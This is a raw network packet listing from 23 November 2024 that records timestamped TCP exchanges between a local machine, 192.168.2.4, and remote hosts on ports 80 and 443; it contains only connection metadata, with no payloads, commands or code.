Nov 23, 2024 11:22:14.524322033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.524369955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.524415970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.525284052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.525324106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.525330067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.525368929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.526262045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.526309967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.526377916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.526422977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.527271032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.527318954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.527360916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.527440071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.528304100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.528351068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.528430939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.528476954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.529284000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.529330015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.529381990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.529423952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.530267000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.530318022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.530365944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.530426025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.531338930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.531390905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.531392097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.531434059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.532289028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.532344103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.532352924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.532398939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.533380032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.533469915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.533499956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.533514977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.534307957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.534358025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.534445047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.534495115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.535274029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.535325050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.535382032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.535439014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.536252022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.536295891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.536324024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.536366940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.537286997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.537332058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.537436008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.537528038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.538304090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.538348913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.538439989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.538494110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.539243937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.539288998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.542898893 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.543397903 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.543416977 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.543898106 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.543904066 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.561156988 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.561652899 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.561680079 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.562184095 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.562191963 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.575593948 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.576137066 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.576206923 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.576575041 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.576591969 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.675966978 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.677376986 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.677413940 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.677862883 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.677875042 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.688230038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.688287973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.688337088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.688410044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.688723087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.688776970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.688819885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.688864946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.689701080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.689745903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.689757109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.689800978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.690713882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.690783024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.690937996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.690984964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.691718102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.691765070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.691798925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.691836119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.692704916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.692749977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.692796946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.692842960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.693759918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.693825006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.693902969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.693948984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.694814920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.694879055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.694946051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.694999933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.695693970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.695739031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.695799112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.695894957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.696702003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.696777105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.696832895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.696927071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.697706938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.697758913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.697797060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.697841883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.698726892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.698772907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.698843002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.698887110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.699727058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.699790001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.699834108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.699877977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.700706959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.700799942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.700820923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.700869083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.701673985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.701797962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.701893091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.701939106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.702713966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.702831030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.702848911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.702893972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.703819036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.703883886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.703982115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.704026937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.704669952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.704716921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.704905987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.704952002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.705668926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.705714941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.705868006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.705950022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.706814051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.706890106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.706939936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.707668066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.707714081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.707756996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.707812071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.708648920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.708697081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.708759069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.708815098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.709678888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.709723949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.709781885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.709831953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.710752964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.710800886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.710839033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.710891008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.711661100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.711699963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.711827993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.711880922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.712660074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.712713957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.712759018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.712802887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.713663101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.713746071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.713958979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.714004040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.714653015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.714704990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.714747906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.714792013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.715665102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.715713978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.715755939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.715884924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.716764927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.716780901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.716808081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.716828108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.717663050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.717710018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.717746973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.717787027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.718641996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.718687057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.718750000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.718794107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.719822884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.719944000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.719949007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.719986916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.720700026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.720725060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.720746994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.720763922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.721674919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.721698046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.721719980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.721736908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.722644091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.722698927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.722836971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.722882032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.723818064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.723870039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.724021912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.724065065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.724989891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.725013018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.725034952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.725050926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.725960970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.726006985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.726012945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.726053953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.726666927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.726768970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.726816893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.727672100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.727725983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.727787971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.727906942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.728640079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.728708029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.728744030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.728790998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.729651928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.729693890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.729737043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.729780912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.730673075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.730717897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.730756044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.730802059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.731657982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.731704950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.731741905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.731794119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.732646942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.732692003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.732728004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.732774019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.733630896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.733675003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.733690023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.733711004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.734652042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.734699965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.734770060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.734817982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.735652924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.735757113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.735764027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.735824108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.736649036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.736699104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.736705065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.736815929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.737643003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.737683058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.737750053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.737797022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.738626957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.738703012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.738729954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.738775015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.739609957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.739679098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.739731073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.739770889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.740565062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.740675926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.752300978 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.752753019 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.752772093 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.753285885 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.753290892 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.889560938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.889628887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.889647007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.889776945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.890067101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.890116930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.890136003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.890182018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.891026974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.891077042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.891422033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.891469002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.891597986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.891644001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.892457008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.892504930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.892581940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.892627954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.893480062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.893529892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.893609047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.893660069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.894407988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.894455910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.894458055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.894501925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.895396948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.895442009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.895550966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.895595074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.896399021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.896445990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.896509886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.896641016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.897417068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.897465944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.897542000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.897584915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.898375034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.898418903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.898565054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.898612022 CET	49765	80	192.168.2.4	31.41.244.11
